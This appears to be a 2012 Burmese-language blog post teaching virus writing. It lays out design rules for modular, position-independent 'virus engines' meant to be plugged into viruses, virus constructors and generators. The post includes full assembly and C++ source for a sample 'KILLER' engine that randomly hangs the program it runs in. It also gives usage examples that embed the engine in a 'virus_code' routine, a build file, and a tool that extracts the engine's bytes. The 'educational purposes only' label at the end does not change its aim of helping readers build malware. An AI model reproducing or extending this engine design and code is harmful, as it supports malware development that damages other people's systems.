Friday, 19 October 2012


က်ေနာ္ post ေတြမတင္ျဖစ္တာ နဲနဲေတာ့ၾကာေနပါျပီ... လာလည္ၾကတဲ႔ လာအားေပးတဲ႔သူေတြကို အားနာလို႔ ေန႔တိုင္း post တစ္ခုေလာက္ တင္ျဖစ္ေအာင္ ၾကိဳးစားမယ္ဆိုတဲ႔ စိတ္ကူးရွိေပမယ့္လည္း မတင္ျဖစ္ခဲ႔ပါဘူး...။
အခုတစ္ေလာ hacking ပိုင္းေတြပဲ ေရးျဖစ္ေနျပီး virus ေရးသားနည္းေတြနဲ႔ ပတ္သက္တာကို မတင္ျဖစ္တာ ၾကာပါျပီ... ဒါေၾကာင့္ Virus ေရးသားနည္းကုိ ေလ့လာသူမ်ားအတြက္ အဆင္ေျပေစဖို႔ ဒီ post ကို တင္ေပးလုိက္ပါတယ္။


ENGINES

Engines ဆိုတာကေတာ့ binary နဲ႔ source ေတြကို ကိုယ္စားျပဳတဲ႔ လြတ္လပ္တဲ႔ viurs ေရးသားနည္း တစ္ခုျဖစ္ပါတယ္။


မိတ္ဆက္

Virus Engine ေတြဟာ C/C++ class ( object ) ေတြနဲ႔ အလြန္ပင္ဆင္တူၾကျပီး၊ တူညီတဲ႔ ဂုဏ္သတၱိေတြလည္း အမ်ားၾကီးရွိၾကပါတယ္။ ဒီဟာႏွစ္ခုလံုးဟာ modularity ကို တိုက္ရိုက္သြားပါတယ္။ တစ္ခုပဲ ကြာျခားမႈရွိတာပါတယ္... အဲဒါကေတာ့ Virus Engine က တိုက္ရိုက္ အေကာင္အထည္ေဖာ္ႏိုင္ျပီး C++ class ကေတာ့ ၾကားခံေပါင္းကူးေပးတဲ႔စနစ္က မ်ားျပားလွပါတယ္။
OOP (Object Oriented Programming ) ကို မိတ္ဆက္ေပးခဲ႔ျပီးသည္ကစလို႔ ယေန႔ဆိုရင္ Virus Engines ဟာ ႏွစ္ေပါင္းမ်ားစြာၾကာခဲ႔ျပီျဖစ္တဲ႔ Programs ေတြကဲ႔သို႔ တူညီတဲ႔ အဆင့္ကို ေရာက္ရွိလာပါျပီ။ ျပီးေတာ့ ယခုအခ်ိန္ဟာ ေျပာင္းလဲဖို႔အခ်ိန္လည္း ျဖစ္ေနပါျပီ။
ဒီ post ရဲ႕ လိုရင္းကေတာ့ Virus Engine ရဲ႕ အဆင္ေျပျပီး အသံုး၀င္တဲ႔ လကၡဏာရပ္ေတြကို ေဖာ္ျပေပးသြားမွာ ျဖစ္ပါတယ္။
Virus ေရးသားျခင္းမွာ လြတ္လပ္တဲ႔ေရးသားနည္းအစိတ္အပိုင္း(modules) မ်ားကို နားလည္ျပီးမွသာလွ်င္ ဒီထဲမွာပါတဲ႔ အေတြးအေခၚပိုင္းကို နားလည္နိုင္မွာျဖစ္ပါတယ္။ဒါ့အျပင္ ဒီpostထဲမွာ LDE32, KME's, ETG, CMIX, DSCRIPT, EXPO, RPME, CODEGEN, PRCG, MACHO နဲ႔ MISTFALL တို႔ရဲ႕ property အားလံုးနီးပါးကို ဒီpostတစ္ခုတည္းနဲ႔ ေဖာ္ျပေပးျပီးသား ျဖစ္သြားမွာ ျဖစ္ပါတယ္။ဒါေတာင္မွ အေရးၾကီးတဲ႔ စံသတ္မွတ္မႈေတြ အားလံုးကို ေဖာ္ျပထားတာမဟုတ္ပဲ စံသတ္မွတ္ဖို႔အတြက္ အနည္းငယ္ကိုသာ ေဖာ္ျပဖို႔ ၾကိဳးစားထားတာ ျဖစ္ပါတယ္။ ဒီေနရာမွာ စံသတ္မွတ္မႈဆိုတာ Engine ရဲ႕ ၾကားခံေပါင္းကူးစနစ္အပို္င္းမွာ လံုး၀နီးပါး သက္ေရာက္လႊမ္းမိုးမႈေတြကို ဆိုလိုတာျဖစ္ျပီး က်န္တဲ႔အပိုင္းေတြက အမ်ားအားျဖင့္ေတာ့ တူညီေနမွာ ျဖစ္ပါတယ္။ ေသခ်ာတာကေတာ့ အလုပ္လုပ္တာခ်င္း တူညီမႈရွိမွာမဟုတ္ပါဘူး။


Code

  • Engine မွာ executable code ေတြသာလွ်င္ ပါ၀င္ရပါမယ္။ ဆိုလိုတာကေတာ့ evident formေတြမွာ data ေတြမပါ၀င္ရပါဘူး။ ၄င္းဟာ code generation ထဲမွာ data ရဲ႕ means အားျဖင့္ စြမ္းေဆာင္ႏိုင္ရပါမယ္။
  • Engine မွာ absolute offset မ်ား မပါ၀င္ရပါဘူး။ ၄င္းဟာ stack နဲ႔ ဒီ structureသို႔ pointer ေျပာင္းေရႊ႕ လိုက္တဲ႔ ေပၚမွာ data structure ဖန္တီးျခင္းရဲ႕ means အားျဖင့္ စြမ္းေဆာင္ႏိုင္ရပါမယ္။
  • Engine မွာ external data structureမ်ား ကို တိုက္ရုိက္အသံုးမျပဳရပါဘူး။ external subroutineမ်ားကို တိုက္ရုိက္ CALL မလုပ္ရပါဘူး။ ၄င္းအစား data နဲ႔ suboroutineမ်ားသို႔ pointerမ်ားကို argumentမ်ားကဲ့သို႔ engine ဆီကို ျဖတ္ေက်ာ္လာေစရပါမယ္။
  • (ေရြးခ်ယ္မႈတစ္ခုအေနနဲ႔)Engine ကုိ system callမ်ား မျပဳလုပ္ေစရပါဘူး။ အဲဒီအစား own subroutineမ်ားသို႔ pointer မ်ားဟာ engine ကိုျဖတ္ေက်ာ္ရပါမယ္။ ျပီးရင္ engine က ၄င္းတို႔ကို ျဖတ္ေက်ာ္ျပီး system subroutine မ်ားကို CALL လုပ္ရပါမယ္။


PUBLIC-functions
  • Parameterမ်ားဟာ stack ေပၚမွာ ျဖတ္ေက်ာ္ေစရပါမယ္။ ( registerမ်ားထဲမွာ မဟုတ္ပါ။)
  • Function result ဟာ( လိုအပ္လွ်င္) EAX ထဲမွာ return ျဖစ္ရပါမယ္။
  • registerမ်ားအားလံုးကို ထိန္းသိမ္းထားရပါမယ္( EAX မွလြဲ၍)။
  • (ေရြးခ်ယ္မႈတစ္ခုအေနနဲ႔) function exit ေပၚမွာ DF flagဟာ 0 (သံုည) ျဖစ္ေစရပါမယ္။ (CLD)


Sources
  • အကယ္၍ Sourceမ်ား ရွိခဲ႔ရင္ Variables, arguments, constants, internal subroutines နဲ႔ အျခား name နဲ႔ lable မ်ားဟာ unique ျဖစ္ရပါမယ္။ user ရဲ႕ sourceမ်ား (သို႔) အျခား engineမ်ားထဲမွ label မ်ားနဲ႔ တထပ္တည္း မျဖစ္ေစရပါဘူး။
  • အကယ္၍ အခ်ိဳ႕ေသာ data structureမ်ား နဲ႔/သို႔ exit codes , engine call ထဲမွာ အသံုးျပဳျခင္း ရွိရင္ ၄င္းတို႔အားလံုးကို သီးျခား .INC file ထဲမွာ ေဖာ္ျပရပါမယ္။


Documentation
  • Engineဟာ documentionအခ်ိဳ႕ အားျဖင့္ ခ်ိတ္ဆက္ရပါမယ္။ ေအာက္မွာျပထားတဲ႔ဟာေတြလိုပဲ ေဖာ္ျပသင့္ပါတယ္...
  • Engine ၊ ၄င္းရဲ႕ algorithm ၊ ၄င္းရဲ႕ အဓိကရည္ရြယ္ခ်က္ ။ ဆိုလိုတာကေတာ့ ၄င္းဟာ ဘာအတြက္ရည္ရြယ္ျပီး ဘယ္လိုေတြ အလုပ္လုပ္သလဲ၊
  • PUBLIC-function အသီးသီးရဲ႕ ေဖာ္ျပခ်က္ နဲ႔ ၄င္းရဲ႕ parameter မ်ား၊
  • (ေရြးခ်ယ္မႈအားျဖင့္) bug မ်ား နဲ႔ အဂၤါရပ္မ်ား၊
  • (ေရြးခ်ယ္မႈအားျဖင့္) engine ကို ဘယ္မွာစမ္းသပ္ျပီးျပီလဲ၊ ၄င္းက ဘယ္မွအလုပ္လုပ္လဲ ၊ မလုပ္ဘူးလဲ။


အေကာင္းဆံုး နည္းလမ္း
  • Engine မွာ PUBLIC-function တစ္ခုတည္း ရွိပါတယ္။ engine ရဲ႕ code အစပုိင္းမွာ( အလယ္မွာျဖစ္ခ်င္ရင္ အစမွာ JMP ကိုသံုး။) ျဖစ္ျပီး ၄င္းရဲ႕ main function မွာ CDECL calling convection (PUSH*n, CALL, RETN, ADD ESP, n*4 ) ရွိပါတယ္။
  • Engine ဟာ on-stack data variableမ်ားကိုသာ အသံုးျပဳပါတယ္။ (argument မ်ားနဲ႔ variables space)
  • Engine ဟာ multithread enviroument ထဲမွာ အလုပ္လုပ္ပါတယ္။ (ဆိုလိုတာကေတာ့ external data structure မ်ားသို႔ pointer မ်ားဟာ engine ဆီကို ျဖတ္ေက်ာ္လာတဲ႔အခါ engine ရဲ႕ တိုးပြားလာတဲ႔ျဖစ္စဥ္ေတြဟာ အဲဒီ့ data structureမ်ားနဲ႔ မွန္မွန္ကန္ကန္ အလုပ္လုပ္ပါလိမ့္မယ္။)
  • Engine ဟာ .386 realmode opcodeမ်ားကို သာလွ်င္အသံုးျပဳပါတယ္။ (ဆိုလိုတာက အားလံုးတစ္ပန္းသာတယ္ (သို႔) .486+ opcodeမ်ား ၊ bswap (သို႔) cmpxchg ကဲ႔သို႔ ပ လပ္ႏိုင္တယ္။)


အက်ိဳးရလဒ္မ်ား

အထက္မွာေဖာ္ျပခဲ႔တဲ႔ အဂၤါရပ္မ်ား အားလံုးကိုအသံုးျပဳျခင္းအားျဖင့္ engine code ဟာ OS ၊ ring0/3 နဲ႔ engine တည္ရွိရာ offset မွ လြတ္ေျမာက္လာႏိုင္ပါလိမ့္မယ္။ code ကဲ႔သို႔ ေပါင္းစပ္ႏိုင္ပါလိမ့္မယ္...ဆိုလိုတာကေတာ့ ဘယ္ညႊန္ၾကားခ်က္မ်ားကိုမဆို အလြယ္တကူ စိစစ္ႏိုင္ျခင္း၊ ဖယ္ရွားႏိုင္ျခင္း နဲ႔/သို႔ အစားထိုးလဲလွယ္နိုင္ျခင္းမ်ား ျပဳလုပ္ႏိုင္ပါတယ္။ ဒီလိုမ်ား engineမ်ားရဲ႕ Code (သို႔) sourceမ်ားကို အျခား ဘယ္engineမ်ားမွာမဆို (သို႔) viruseမ်ား၊ virus constructorမ်ား (သို႔) generatorမ်ား (သို႔) virus pluginမ်ား ထဲသို႔ေျပာင္းထည့္ျခင္းမ်ား အားျဖင့္ လြယ္ကူစြာအသံုးျပဳႏိုင္ပါတယ္။
ဒါ့အျပင္ asm- ၊ cpp- code မ်ားနဲ႔ ခ်ိတ္ဆက္ထားတဲ႔ လုပ္ငန္းတာ၀န္မ်ားကိုလည္း .obj fileမ်ား အသံုးမျပဳပဲ ေျဖရွင္းႏိုင္ပါတယ္။


ဥပမာ

Engine : KILLER ။ ရည္မွန္းခ်က္ပန္းတိုင္ : 1/1000 ရဲ႕ ျဖစ္ႏိုင္ေျခနဲ႔ ဟန္႔တားထစ္ေနေစဖို႔ ။
----[begin KILLER.ASM]-------------------------------------------------- ; KILLER engine version 1.00 FREEWARE ; action: hangup with probability of 1/1000; ; CDECL calling convention; ; 5 arguments; ; no return value, no registers modified killer_engine proc c arg user_param ; user-data arg user_random ; external randomer arg arg1 arg arg2 ; other parameters arg arg3 pusha cld ;; push 1000 push user_param ; maybe ptr to some struct call user_random ; call external subroutine add esp, 8 ;; cmp eax, 666 je $ ;; popa ret ; TASM produces LEAVE+RETN endp ----[end KILLER.ASM]----------------------------------------------------

ASM include file ျဖစ္ေပၚေစပါတယ္...:
----[begin KILLER.INC]-------------------------------------------------- ; GENERATED FILE. DO NOT EDIT. ; KILLER 1.00 engine killer_engine_size equ 30 killer_engine: db 0C8h,000h,000h,000h,060h,0FCh,068h,0E8h db 003h,000h,000h,0FFh,075h,008h,0FFh,055h db 00Ch,083h,0C4h,008h,03Dh,09Ah,002h,000h db 000h,074h,0FEh,061h,0C9h,0C3h ----[end KILLER.INC]----------------------------------------------------

ေအာက္မွာေဖာ္ျပထားတာကလည္း အတူတူပါပဲ...ဒါေပမယ့္ C/C++ ထဲမွာ :
----[begin KILLER.CPP]-------------------------------------------------- // GENERATED FILE. DO NOT EDIT. // KILLER 1.00 engine #define killer_engine_size 30 BYTE killer_engine_bin[killer_engine_size] = { 0xC8,0x00,0x00,0x00,0x60,0xFC,0x68,0xE8, 0x03,0x00,0x00,0xFF,0x75,0x08,0xFF,0x55, 0x0C,0x83,0xC4,0x08,0x3D,0x9A,0x02,0x00, 0x00,0x74,0xFE,0x61,0xC9,0xC3 }; ----[end KILLER.CPP]----------------------------------------------------


ASM header file:
----[begin KILLER.ASH]-------------------------------------------------- ; KILLER 1.00 engine KILLER_VERSION equ 0100h ----[end KILLER.ASH]----------------------------------------------------


C/C++ header file:
----[begin KILLER.HPP]-------------------------------------------------- // KILLER 1.00 engine #ifndef __KILLER_HPP__ #define __KILLER_HPP__ #define KILLER_VERSION 0x0100 typedef void __cdecl killer_engine( DWORD user_param, // user-parameter DWORD __cdecl user_random(DWORD user_param, DWORD range), DWORD arg1, DWORD arg2, DWORD arg3); #endif //__KILLER_HPP__ ----[end KILLER.HPP]----------------------------------------------------


အသံုးျပဳပံု ဥပမာ ၊ ASM ထဲတြင္...
----[begin EXAMPLE.ASM]------------------------------------------------- ; KILLER 1.00 usage example include killer.ash callW macro x extern x:PROC call x endm v_data struc v_randseed dd ? ; ... ends p386 model flat locals __ .data dd ? .code start: call virus_code push -1 callW ExitProcess virus_code: pusha sub esp, size v_data mov ebp, esp ;; callW GetTickCount xor [ebp].v_randseed, eax ; randomize ;; push 3 push 2 ; parameters push 1 call 5+2 ; push pointer to randomer jmp short my_random push ebp ; user-param == v_data ptr call killer_engine add esp, 4*5 ;; add esp, size v_data popa retn ; DWORD __cdecl random(DWORD user_param, DWORD range) ; [esp+4] [esp+8] my_random: mov ecx, [esp+4] ; v_data ptr mov eax, [ecx].v_randseed imul eax, 214013 add eax, 2531011 mov [ecx].v_randseed, eax shr eax, 16 imul eax, [esp+8] shr eax, 16 retn ;killer_engine: include killer.inc virus_size equ $-virus_code end start ----[end EXAMPLE.ASM]---------------------------------------------------


အသံုးျပဳပံု ဥပမာ၊ C/C++ ထဲတြင္...
----[begin EXAMPLE.CPP]------------------------------------------------- #include <windows.h> #pragma hdrstop #include "killer.hpp" #include "killer.cpp" struct v_struct { DWORD rseed; //... }; DWORD __cdecl my_random(DWORD user_arg, DWORD range) { v_struct* v = (v_struct*) user_arg; return range ? (v->rseed = v->rseed * 214013 + 2531011) % range : 0; } void main() { v_struct* v_data = (v_struct*) GlobalAlloc( GPTR, sizeof(v_struct) ); v_data->rseed = GetTickCount(); // randomize void* engine_ptr = &killer_engine_bin; (*(killer_engine*)engine_ptr)((DWORD)v_data, my_random, 1,2,3); } ----[end EXAMPLE.CPP]---------------------------------------------------


engine ကို compileျပဳလုပ္ရန္ ဥပမာ program
----[begin BUILD.ASM]--------------------------------------------------- p386 model flat locals __ .data db 0EBh,02h,0FFh,01h ; signature include killer.asm db 0EBh,02h,0FFh,02h ; signature .code start: push -1 callW ExitProcess end start ----[end BUILD.ASM]-----------------------------------------------------


ယခင္ file မွ binary(DB,DB,...)ထဲတြင္ rip ျဖစ္ဖို႔ ဥပမာ program
----[begin HAXOR.CPP]--------------------------------------------------- #include <windows.h> #include <stdio.h> #include <stdlib.h> #include <io.h> #pragma hdrstop void main() { FILE*f=fopen("build.exe","rb"); int bufsize = filelength(fileno(f)); BYTE* buf = new BYTE[bufsize+1]; fread(buf, 1,bufsize, f); fclose(f); int id1=0, id2=0; for (int i=0; i<bufsize; i++) { if (*(DWORD*)&buf[i] == 0x01FF02EB) id1=i+4; // check signature if (*(DWORD*)&buf[i] == 0x02FF02EB) id2=i; // check signature } f=fopen("killer.inc","wb"); fprintf(f,"; GENERATED FILE. DO NOT EDIT.\r\n"); fprintf(f,"; KILLER 1.00 engine\r\n"); fprintf(f,"killer_size equ %i\r\n", id2-id1); fprintf(f,"killer_engine:\r\n", id2-id1); for (int i=0; i<id2-id1; i++) { if ((i%8)==0) fprintf(f,"db "); fprintf(f,"0%02Xh", buf[id1+i]); if (((i%8)==7)||(i==id2-id1-1)) fprintf(f,"\r\n"); else fprintf(f,","); } fclose(f); f=fopen("killer.cpp","wb"); fprintf(f,"; GENERATED FILE. DO NOT EDIT.\r\n"); fprintf(f,"// KILLER 1.00 engine\r\n"); fprintf(f,"#define killer_engine_size %i\r\n",id2-id1); fprintf(f,"BYTE killer_engine_bin[killer_engine_size] = {\r\n"); for (int i=0; i<id2-id1; i++) { if ((i%8)==0) fprintf(f," "); fprintf(f,"0x%02X", buf[id1+i]); if (i!=id2-id1-1) fprintf(f,","); if ((i%8)==7) fprintf(f,"\r\n"); } fprintf(f," };\r\n"); fclose(f); } ----[end HAXOR.CPP]-----------------------------------------------------


အခု example.asm ကိုၾကည့္ ၾကည့္ပါ ၄င္းဟာ ယခုေခတ္အသံုးျပဳေနတဲ႔ virus ေရွ႕ေျပးပံုစံတစ္ခုျဖစ္ပါတယ္။ အဲဒီfile မွာ engine အသံုးျပဳပါတယ္။ engineဟာ external randomer အသံုးျပီး randomer က virus ရဲ႕ main body ကို အသံုးျပဳဖို႔ျပင္ဆင္ျခင္းမွာ data ကိုဖ်တ္ထားတဲ႔ randseed ကိုအသံုးျပဳပါတယ္။ အက်ိဳးရလဒ္ကေတာ့ engine မ်ားဟာ တူညီတဲ႔ rnd() (သို႔) file io functionမ်ား (သို႔) main object နဲ႔တူညီတဲ႔ ၄င္းတို႔ရဲ႕ common structure မွတဆင့္ နည္းလမ္းတစ္ခုျဖင့္ အျခားအသီးသီးကို ေခၚႏိုင္ပါတယ္။


(Educational Purposes Only)